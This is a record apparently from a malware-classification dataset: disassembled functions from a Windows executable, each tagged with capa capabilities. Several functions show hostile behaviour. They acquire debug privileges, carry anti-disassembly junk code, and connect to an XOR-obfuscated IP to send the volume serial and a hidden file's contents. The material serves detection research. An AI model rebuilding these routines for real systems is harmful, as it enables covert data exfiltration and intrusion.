joyce8/EMBER2024-capa huggingface dataset:
Function at 0x59adf0
Capabilities:
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x5ef128
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
push ebx
push ebp
push esi
push edi
mov ebx, ecx
lea ecx, [esp + 0x24]
push 0x8063a4
call fcn.0058bd90
mov eax, dword [ebx + 8]
sub eax, dword [ebx + 4]
sar eax, 2
mov dword [esp + 0x4c], 0
test eax, eax
jne 0x59ae49
push eax
push 0xf8
push str.SourceFileSystem_r3dFileSystem.cpp
push str.IsValid__
call fcn.00589f70
add esp, 0x10
mov ebp, dword [esp + 0x54]
test ebp, ebp
jne 0x59ae69
push ebp
push 0xf9
push str.SourceFileSystem_r3dFileSystem.cpp
push 0x6732fc
call fcn.00589f70
add esp, 0x10
mov eax, dword [ebx + 8]
sub eax, dword [ebx + 4]
sar eax, 2
imul edi, eax, 0x128
push 1
mov dword [esp + 0x2c], 0x31737573
mov dword [esp + 0x30], 1
mov dword [esp + 0x24], edi
lea eax, [edi + 1]
push eax
call fcn.0058bbf0
mov ecx, dword [ebx + 8]
add esp, 8
sub ecx, dword [ebx + 4]
mov esi, eax
sar ecx, 2
xor edx, edx
mov dword [esp + 0x1c], esi
test ecx, ecx
je 0x59aee0
mov ebp, esi
mov esi, dword [ebx + 4]
mov edi, ebp
mov ecx, 0x4a
add ebp, 0x128
mov esi, dword [esi + edx*4]
inc edx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebx + 8]
sub eax, dword [ebx + 4]
sar eax, 2
cmp edx, eax
jb 0x59aeb1
mov ebp, dword [esp + 0x54]
mov esi, dword [esp + 0x1c]
mov edi, dword [esp + 0x20]
lea ecx, [esp + 0x13]
call fcn.0058a730
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x1c]
push eax
push edi
push esi
lea ecx, [esp + 0x23]
call fcn.0058a740
test eax, eax
jne 0x59af0f
push str.failed_to_compres_file_list_n
call fcn.005896c0
add esp, 4
mov eax, dword [ebx + 8]
sub eax, dword [ebx + 4]
sar eax, 2
mov dword [esp + 0x34], eax
mov eax, dword [ebx]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x14]
push edi
push esi
mov dword [esp + 0x48], eax
call fcn.0058aa40
push ebp
push 8
mov dword [esp + 0x4c], eax
lea eax, [esp + 0x38]
push 1
push eax
call fcn.005b0c93
push ebp
push 0x14
lea eax, [esp + 0x50]
push 1
push eax
call fcn.005b0c93
push ebp
push 1
push dword [esp + 0x44]
push dword [esp + 0x4c]
call fcn.005b0c93
push esi
call fcn.0058bb90
push dword [esp + 0x54]
call fcn.0058bb90
add esp, 0x40
mov dword [esp + 0x4c], 0xffffffff
lea ecx, [esp + 0x24]
call fcn.0057ea20
mov ecx, dword [esp + 0x44]
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x40
ret 4
Function at 0x5a3eb0
Capabilities:
Enumerate process modules

Disassembly:
sub esp, 0x224
push esi
push 0
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
jne 0x5a3ed1
xor eax, eax
pop esi
add esp, 0x224
ret
push edi
lea eax, [esp + 8]
mov dword [esp + 8], 0x224
push eax
push esi
xor edi, edi
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x5a3f2b
jmp 0x5a3ef0
lea eax, [esp + 0x28]
push 0x677f84
push eax
call fcn.005a21d0
add esp, 8
test eax, eax
jne 0x5a3f27
lea eax, [esp + 8]
push eax
push esi
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x5a3ef0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
add esp, 0x224
ret
mov edi, dword [esp + 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
add esp, 0x224
ret

Function at 0x5a6800
Capabilities:
Compress data via zlib inflate or deflate

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x34
push edi
test ecx, ecx
je 0x5a7e27
mov edi, dword [ecx + 0x1c]
mov dword [esp + 0x14], edi
test edi, edi
je 0x5a7e27
cmp dword [ecx + 0xc], 0
je 0x5a7e27
cmp dword [ecx], 0
jne 0x5a6838
cmp dword [ecx + 4], 0
jne 0x5a7e27
cmp dword [edi], 0xb
jne 0x5a6843
mov dword [edi], 0xc
mov eax, dword [ecx + 0xc]
mov edx, dword [edi + 0x38]
mov dword [esp + 0x18], eax
mov eax, dword [ecx + 0x10]
push ebx
mov ebx, dword [ecx]
mov dword [esp + 0x14], eax
mov dword [esp + 0x20], eax
xor eax, eax
push ebp
mov ebp, dword [ecx + 4]
mov dword [esp + 0x28], eax
mov eax, dword [edi]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], edx
mov dword [esp + 0x38], ebp
push esi
mov esi, dword [edi + 0x3c]
cmp eax, 0x1e
ja 0x5a71a8
lea ebx, [edi + 0x54]
mov dword [esp + 0x40], ebx
mov ebx, dword [esp + 0x14]
jmp 0x5a6890
jmp dword [eax*4 + 0x5a7e34]
pop esi
pop ebp
pop ebx
mov eax, 0xfffffffe
pop edi
add esp, 0x34
ret
mov eax, 0xfffffffe
pop edi
add esp, 0x34
ret

Function at 0x5a8980
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov ecx, dword [esp + 4]
test ecx, ecx
je 0x5a89b4
mov al, byte [ecx]
test al, al
je 0x5a89b4
mov edx, 0x811c9dc5
movsx eax, al
lea ecx, [ecx + 1]
or eax, 0x20
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx]
test al, al
jne 0x5a8993
xor edx, 0x2a
imul eax, edx, 0x1000193
ret
xor eax, eax
ret
Function at 0x5c42a3
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x6b9da0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.005bbf82
mov dword [ebp - 0x14], eax
cmp dword [0x822324], esi
jne 0x5c4396
push 0x800
push esi
push 0x6824a8
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x5c4323
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x5c4476
push esi
push esi
push 0x6824a8
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x5c4476
push 0x6824c0
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x5c4476
push eax
call ebx
push 0x6824cc
push edi
mov dword [0x822324], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x6824dc
push edi
mov dword [0x822328], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x6824f0
push edi
mov dword [0x82232c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x822334], eax
test eax, eax
je 0x5c4393
push 0x68250c
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x822330], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x5c43bb
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x5c43ae
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp dword [ebp - 0x14], esi
je 0x5c43d0
push 4
pop eax
jmp 0x5c4478
cmp dword [ebp - 0x14], esi
je 0x5c43d0
push dword [0x822324]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x5c43b5
mov eax, dword [0x822330]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x5c442e
cmp dword [0x822334], edi
je 0x5c442e
push eax
call ebx
push dword [0x822334]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x5c442e
test eax, eax
je 0x5c442e
call ecx
test eax, eax
je 0x5c4423
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x5c4423
test byte [ebp - 8], 1
jne 0x5c442e
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x5c445e
mov eax, dword [0x822328]
cmp eax, edi
je 0x5c445b
push eax
call ebx
test eax, eax
je 0x5c445b
call eax
mov esi, eax
test esi, esi
je 0x5c445b
mov eax, dword [0x82232c]
cmp eax, edi
je 0x5c445b
push eax
call ebx
test eax, eax
je 0x5c445b
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x822324]
call ebx
test eax, eax
je 0x5c4476
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x5c4478
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005aec30
mov esp, ebp
pop ebp
ret
Function at 0x5caf0f
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x6b9da0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.005bbf82
mov dword [ebp - 0x14], eax
cmp dword [0x82238c], esi
jne 0x5cb002
push 0x800
push esi
push 0x6824a8
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x5caf8f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x5cb0e2
push esi
push esi
push 0x6824a8
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x5cb0e2
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x5cb0e2
push eax
call ebx
push 0x6824cc
push edi
mov dword [0x82238c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x6824dc
push edi
mov dword [0x822390], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x822394], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x82239c], eax
test eax, eax
je 0x5cafff
push 0x68250c
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x822398], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x5cb027
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x5cb01a
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x5cb03c
push 4
pop eax
jmp 0x5cb0e4
cmp dword [ebp - 0x14], esi
je 0x5cb03c
push dword [0x82238c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x5cb021
mov eax, dword [0x822398]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x5cb09a
cmp dword [0x82239c], edi
je 0x5cb09a
push eax
call ebx
push dword [0x82239c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x5cb09a
test eax, eax
je 0x5cb09a
call ecx
test eax, eax
je 0x5cb08f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x5cb08f
test byte [ebp - 8], 1
jne 0x5cb09a
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x5cb0ca
mov eax, dword [0x822390]
cmp eax, edi
je 0x5cb0c7
push eax
call ebx
test eax, eax
je 0x5cb0c7
call eax
mov esi, eax
test esi, esi
je 0x5cb0c7
mov eax, dword [0x822394]
cmp eax, edi
je 0x5cb0c7
push eax
call ebx
test eax, eax
je 0x5cb0c7
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x82238c]
call ebx
test eax, eax
je 0x5cb0e2
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x5cb0e4
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005aec30
mov esp, ebp
pop ebp
ret
Function at 0x5d37c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
cmp byte [eax], 0
je 0x5d37da
mov ecx, dword [ebp + 0xc]
mov edi, edi
xor byte [eax], cl
lea eax, [eax + 1]
cmp byte [eax], 0
jne 0x5d37d0
pop ebp
ret
Function at 0x5d4250
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x5d428b
lea eax, [ebp - 0x10]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x5d4291
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0x10
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 1
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x5d4282
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 4]
cmp eax, 0x514
je 0x5d4285
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esp, ebp
pop ebp
ret
Function at 0x5d5640
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov edx, 0x8267f8
sub edx, ecx
lea ecx, [ecx]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x5d5650
cmp dword [0x8264cc], 0
push 0
jne 0x5d567f
push 0
push 0
push fcn.005d6fe0
push 0
push 0
call fcn.005af5be
add esp, 0x18
pop ebp
ret
call fcn.005d6fe0
pop ebp
ret

Function at 0x5d5690
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get disk information
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x380
cmp dword [0x8264cc], 0
je 0x5d5800
push esi
lea eax, [ebp - 0x380]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x5d56cf
call sub.WS2_32.dll_WSACleanup
mov eax, 2
push 0x8147
mov word [ebp - 0x1c], ax
call sub.WS2_32.dll_htons
mov word [ebp - 0x1a], ax
lea ecx, [ebp - 0x2b]
mov eax, 0x6892d0
sub eax, 0x5af7d9d6
push eax
call fcn.005d7af0
push eax
call sub.WS2_32.dll_inet_addr
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push 0x10
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x5d571e
push esi
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push dword [ebp - 0xc]
lea eax, [ebp - 3]
mov word [ebp - 3], 0x6425
push eax
lea eax, [ebp - 0x6c]
mov byte [ebp - 1], 0
push eax
call fcn.005af42d
mov eax, dword [0x8264cc]
add esp, 0xc
mov dword [ebp - 0xf0], eax
xor ecx, ecx
mov al, byte [ebp + ecx - 0x6c]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0xed], al
test al, al
jne 0x5d5760
mov dword [ebp - 6], 0x61726143
xor ecx, ecx
mov word [ebp - 2], 0x5a
mov al, byte [ebp + ecx - 6]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0xad], al
test al, al
jne 0x5d5781
push 0
push 0x84
lea eax, [ebp - 0xf0]
push eax
push esi
call sub.WS2_32.dll_send
push 0
push 0xff
lea eax, [ebp - 0x1f0]
push eax
push esi
call sub.WS2_32.dll_recv
lea eax, [ebp - 7]
mov dword [ebp - 7], 0x6e6e6142
push eax
lea eax, [ebp - 0x1f0]
mov word [ebp - 3], 0x6465
push eax
mov byte [ebp - 1], 0
call fcn.005af9f0
add esp, 8
test eax, eax
je 0x5d57f4
lea eax, [ebp - 0x1f0]
push 1
push eax
call fcn.005dcbb0
add esp, 8
push esi
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x5d5d80
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5ef5ba
push eax
mov eax, 0x32494
mov dword fs:[0], esp
call fcn.005b3fe0
cmp dword [0x8264cc], 0
je 0x5d5f67
push esi
lea eax, [ebp - 0x394]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x5d5dd8
call sub.WS2_32.dll_WSACleanup
mov eax, 2
push 0x8145
mov word [ebp - 0x24], ax
call sub.WS2_32.dll_htons
mov word [ebp - 0x22], ax
lea ecx, [ebp - 0x4b]
mov eax, 0x6892d0
sub eax, 0x5af7d9d6
push eax
call fcn.005d7af0
push eax
call sub.WS2_32.dll_inet_addr
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x24]
push 0x10
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x5d5e27
push esi
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
push 0xfc
lea eax, [ebp - 0x201]
mov word [ebp - 0x204], 0x5471
push 0
push eax
mov byte [ebp - 0x202], 0x43
call fcn.005b2e70
push 0x689384
call fcn.005d6dd0
add esp, 0x10
lea eax, [ebp - 0x204]
push 2
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 1
push 0x40
push 0x20
lea eax, [ebp - 0x204]
push eax
lea ecx, [ebp - 0x104]
call fcn.005d7d60
cmp dword [ebp - 0xa4], 0
mov dword [ebp - 4], 0
jne 0x5d5e99
push esi
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
push 2
push 0
push 0
lea ecx, [ebp - 0x104]
call fcn.005da680
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x104]
call fcn.005dabf0
push 0
push 0
push 0
lea ecx, [ebp - 0x104]
call fcn.005da680
mov eax, dword [0x8264cc]
mov dword [ebp - 0x324a0], eax
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x3c]
xor ecx, ecx
mov dword [ebp - 0x3239c], eax
mov dword [ebp - 0x12], 0x61726143
mov word [ebp - 0xe], 0x5a
mov al, byte [ebp + ecx - 0x12]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x3249d], al
test al, al
jne 0x5d5ef0
push 0
push 0x32000
lea eax, [ebp - 0x32398]
mov byte [ebp - 0x398], 1
push eax
lea ecx, [ebp - 0x104]
call fcn.005da4b0
push 0
push 0x3210c
lea eax, [ebp - 0x324a0]
push eax
push esi
call sub.WS2_32.dll_send
lea ecx, [ebp - 0x104]
call fcn.005d99e0
lea eax, [ebp - 0x204]
push eax
call fcn.005af9ae
add esp, 4
push esi
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
lea ecx, [ebp - 0x104]
call fcn.005d8770
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x5d6590
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
xor edi, edi
add ecx, eax
movzx eax, word [ecx + 0x14]
lea esi, [ecx + 0x18]
movzx ebx, word [ecx + 6]
add esi, eax
test ebx, ebx
jle 0x5d65e8
mov eax, dword [ebp + 0xc]
mov ecx, esi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x5d65d7
test dl, dl
je 0x5d65d3
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x5d65d7
add ecx, 2
add eax, 2
test dl, dl
jne 0x5d65b7
xor eax, eax
jmp 0x5d65dc
sbb eax, eax
or eax, 1
test eax, eax
je 0x5d65f1
inc edi
add esi, 0x28
cmp edi, ebx
jl 0x5d65b2
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0x10]
xor edi, edi
xor ebx, ebx
xor edx, edx
xor ecx, ecx
cmp eax, 2
jb 0x5d662a
mov ecx, dword [esi + 0xc]
lea edx, [eax - 2]
add ecx, dword [ebp + 8]
shr edx, 1
inc edx
lea eax, [edx + edx]
mov dword [ebp - 4], eax
movzx eax, byte [ecx]
lea ecx, [ecx + 2]
add edi, eax
movzx eax, byte [ecx - 1]
add ebx, eax
dec edx
jne 0x5d6613
mov eax, dword [esi + 0x10]
mov ecx, dword [ebp - 4]
cmp ecx, eax
jae 0x5d663a
mov eax, dword [esi + 0xc]
add eax, ecx
mov ecx, dword [ebp + 8]
movzx edx, byte [eax + ecx]
lea eax, [ebx + edi]
pop edi
pop esi
add eax, edx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x5d69de
Capabilities:
Create thread

Disassembly:
jae 0x5d69dc
jmp 0x5d69d7
call fcn.005d69de
jae 0x5d69d7
add esp, 4
jmp 0x5d69e3
dec dword [esp]
jno 0x5d69e8
jns 0x5d69d3
jp 0x5d69ec
add esp, 4
popf
jmp 0x5d69f3
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d6a0c
pop ecx
lcall 0x50e8, 0x1750374
je 0x5d6a11
jne 0x5d6a11
call 0x101d9d65
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d6a2b
jne 0x5d6a2a
call 0x83615ab2
rol byte [ebx + eax*4], 0xf0
add eax, 0x6a006a
xor eax, 3
add eax, 4
xor eax, 5
push 0
push 0
push 0
push 0x5d1e00
push 0
push 0
call fcn.005af5be
add esp, 0x18
mov dword [0x8266dc], eax
push 0
push 0
push 0
push 0x5d3660
push 0
push 0
call fcn.005af5be
add esp, 0x18
mov dword [0x8267f4], eax
push 0
push 0
push 0
push 0x5d2b70
push 0
push 0
call fcn.005af5be
add esp, 0x18
mov dword [0x826838], eax
push 0
push 0
push 0
push 0x5d3140
push 0
push 0
call fcn.005af5be
add esp, 0x18
mov dword [0x82683c], eax
push 0
push 0
push 0
push 0x5d27e0
push 0
push 0
call fcn.005af5be
add esp, 0x18
mov dword [0x826840], eax
push 0
push 0
push 0
push 0x5d2570
push 0
push 0
call fcn.005af5be
add esp, 0x18
mov dword [0x826844], eax
push 0
push 0
push 0
push 0x5d3770
push 0
push 0
call fcn.005af5be
add esp, 0x18
mov dword [0x826848], eax
push 0
push 0
push 0
push 0x5d3790
push 0
push 0
call fcn.005af5be
add esp, 0x18
mov dword [0x82684c], eax
push 0
push 0
push 0
push 0x5d2b20
push 0
push 0
call fcn.005af5be
add esp, 0x18
mov dword [0x826850], eax
je 0x5d6b35
jne 0x5d6b35
bnd jl 0x5d6b3a
jl 0x5d6b3a
jmp 0x5d6b3c
je 0x5d6b37
pushf
push 0xa
jae 0x5d6b49
jmp 0x5d6b44
call 0x5d6b4b
jae 0x5d6b44
add esp, 4
jmp 0x5d6b50
dec dword [esp]
jno 0x5d6b55
jns 0x5d6b40
jp 0x5d6b59
add esp, 4
popf
jmp 0x5d6b60
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d6b79
imul esi, edx, 0x74
add esi, dword [ebp + 1]
je 0x5d6b7e
jne 0x5d6b7e
call 0x101d9ed2
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d6b98
jne 0x5d6b97
call 0x83615c1f
rol byte [ebx + eax*4], 0xf0
add eax, 0xccccc35d
int3
xor eax, 3
add eax, 4
xor eax, 5
pop ebp
ret
Function at 0x5d6fe0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get disk information
Initialize winsock library
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x740
lea eax, [ebp - 0x740]
push edi
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov edi, eax
cmp edi, 0xffffffff
jne 0x5d7012
call sub.WS2_32.dll_WSACleanup
mov eax, 2
push 0x8146
mov word [ebp - 0x1c], ax
call sub.WS2_32.dll_htons
mov word [ebp - 0x1a], ax
mov ecx, 0xc2
xor edx, edx
mov al, byte [edx + 0x6892d0]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x2b], al
and ecx, 0x800000ff
jns 0x5d704d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xe
jl 0x5d7030
lea eax, [ebp - 0x2b]
mov byte [ebp - 0x1d], 0
push eax
call sub.WS2_32.dll_inet_addr
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push 0x10
push eax
push edi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x5d707f
push edi
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push dword [ebp - 0xc]
lea eax, [ebp - 3]
mov word [ebp - 3], 0x6425
push eax
lea eax, [ebp - 0x6c]
mov byte [ebp - 1], 0
push eax
call fcn.005af42d
add esp, 0xc
xor ecx, ecx
jmp 0x5d70c0
mov al, byte [ebp + ecx - 0x6c]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x5b1], al
test al, al
jne 0x5d70c0
mov dword [ebp - 6], 0x61726143
xor ecx, ecx
mov word [ebp - 2], 0x5a
mov al, byte [ebp + ecx - 6]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x4ad], al
test al, al
jne 0x5d70e1
xor ecx, ecx
jmp 0x5d7100
mov al, byte [ecx + 0x8267f8]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x46d], al
test al, al
jne 0x5d7100
mov eax, dword [0x8264cc]
test eax, eax
jne 0x5d7135
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
call esi
mov eax, dword [0x8264cc]
test eax, eax
je 0x5d7124
pop esi
push 0
mov dword [ebp - 0x4b0], eax
lea eax, [ebp - 0x5b0]
push 0x544
push eax
push edi
call sub.WS2_32.dll_send
push edi
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret 4

Function at 0x5d7690
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 2
xor eax, eax
mov dl, byte [edi + eax - 0x535982c7]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x5d76be
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x5f
jl 0x5d76a1
pop edi
mov byte [esi + 0x5f], 0
mov eax, esi
pop esi
pop ebp
ret 4